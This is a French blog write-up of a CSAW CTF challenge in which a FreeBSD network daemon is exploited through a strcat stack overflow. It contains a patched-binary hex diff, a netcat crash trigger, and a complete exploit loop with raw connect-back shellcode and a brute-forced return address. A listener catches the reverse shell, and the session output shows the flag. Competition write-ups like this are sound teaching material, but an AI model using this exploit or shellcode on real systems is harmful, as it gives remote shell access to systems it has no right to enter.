CSAW CTF Write-up Exploit 1 – FreeBSD remote stack based buffer overflow

J’ai eu l’opportunité de regarder l’exploit1 avec teach, sauf qu’il avait pas sa VM FreeBSD prête donc c’est bibi qui s’y est collé ! Tant mieux c’était marrant :)


 

Analyse

On nous donnait le fichier suivant, qui s’est révélé être :

ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 8.0 (800107), statically linked, FreeBSD-style, not stripped

Avec IDAPro HexRays on reconnaît rapidement un démon réseau classique (socket/bind/listen/accept/fork). La fonction qui traite les données client s’appelle rmsg et utilise la fonction non sécurisée strcat justement avec nos données : il s’agit donc d’exploiter un classique débordement de tampon dans la pile.

 

Debug

En supposant que le système qui fait tourner le démon est bien FreeBSD 8.0, on lance notre machine virtuelle (thoughtpolice si vous n’en avez pas) et on ouvre le binaire dans gdb. Remarque : un bon gdbinit ça vaut le coup.

A partir de là on peut indiquer à gdb de suivre le processus fils :

set follow-fork-mode child
catch exec

Ou alors patcher le binaire pour éviter le fork – je préfère – avec un xor eax,eax puis nops pour avoir une valeur de retour de 0 comme si on était dans le processus fils :

<address> <original value> <patched>
00000370: E8 33
00000371: 03 C0
00000372: 05 90
00000373: 00 90
00000374: 00 90

Voici le binaire patché qui en résulte.

 

Déclencher la faille

On peut déclencher le débordement de tampon dans la pile simplement avec netcat et un bon paquet de données :

$ python -c 'import struct; print "A"*360+struct.pack("<I",0xdeadbeef)' |nc 127.0.0.1 8888

On peut voir dans gdb qu’on a réussi à contrôler le saved eip, le pointeur d’instruction sauvé sur la pile :

0xdeadbeef in ?? ()

 

Shellcode

Maintenant on aimerait prendre le contrôle du programme avec notre code. Quel code ? On pourrait utiliser un shellcode bind port, mais il y a peu de chances que ça marche car on se connecte sur l’unique IPv4 du CSAW, donc très certainement derrière un routeur NAT. On peut alors tenter d’utiliser un shellcode connect-back si les connexions sortantes ne sont pas bloquées. Heureusement non, sinon il aurait fallu faire notre propre shellcode réutilisant la connexion déjà ouverte.

C’est à ce moment là qu’on va voir sbz (@sbrabez) – notre expert FreeBSD – et il nous donne le shellcode suivant BSDi-x86-connectback, qui a très bien fonctionné.

 

Adresse de retour

Puisque FreeBSD 8.0 a la pile exécutable et pas d’ASLR par défaut, on va tenter le simple payload suivant : nopsled + shellcode + réécriture du saved eip, avec une adresse dans le nopsled. Dans ce genre de situation j’aime bien lancer gdb avec un environnement à zéro (env -i gdb <fichier>), lancer le programme et interrompre après le dépassement de tampon pour avoir l’adresse du tampon et choisir une adresse au milieu du nospled : 0xbfbfe510 fera l’affaire.

Cette adresse a de grandes chances de ne pas fonctionner sur le serveur, mais grâce au nopsled on peut rapidement itérer pas mal d’adresses de retour pour finalement en trouver une qui marche – le script se bloque et une connexion apparaît sur notre netcat en écoute du connect-back.

 

Exploitation

Tout d’abord, on lance le netcat en écoute du connect-back :

$ nc -nlvp 1337
listening on [any] 1337 ...

Puis on lance l’exploitation (retours à la ligne pour y voir plus clair) :

for i in $(seq 0 100); do
  echo $i
  python -c 'sc="\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe7\x31\xdb\xf7\xe3
    \x53\x43\x53\x43\x53\xb0\x61\xff\xd7\x89\xc6\x68\xaa\xbb\xcc\xdd\x68\xaa\x02\x05\x39\x89
    \xe5\x6a\x10\x55\x56\xb0\x62\xff\xd7\x53\x56\xb0\x5a\xff\xd7\x4b\x79\xf7\x50\x68\x2f\x2f
    \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\xff\xd7"; from struct import pack;
    print sc.rjust(360,"\x90")+pack("<I",0xbfbfe510+0x10*'$i')' |nc 128.238.66.100 40001
done

A i=76 j’ai reçu le shell connect-back :

connect to [1.2.3.4] from (UNKNOWN) [128.238.66.100] 64361
id
uid=1001(chal1) gid=1001(chal1) groups=1001(chal1)
ls
key
cat key
95335ebbdbab9c8eb745fd3ec618d35a

Classique, mais toujours marrant à exploiter !

Tags: buffer overflow, CSAW, ctf, exploit

2 Comments

Leave a Reply

XHTML: You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="" highlight="">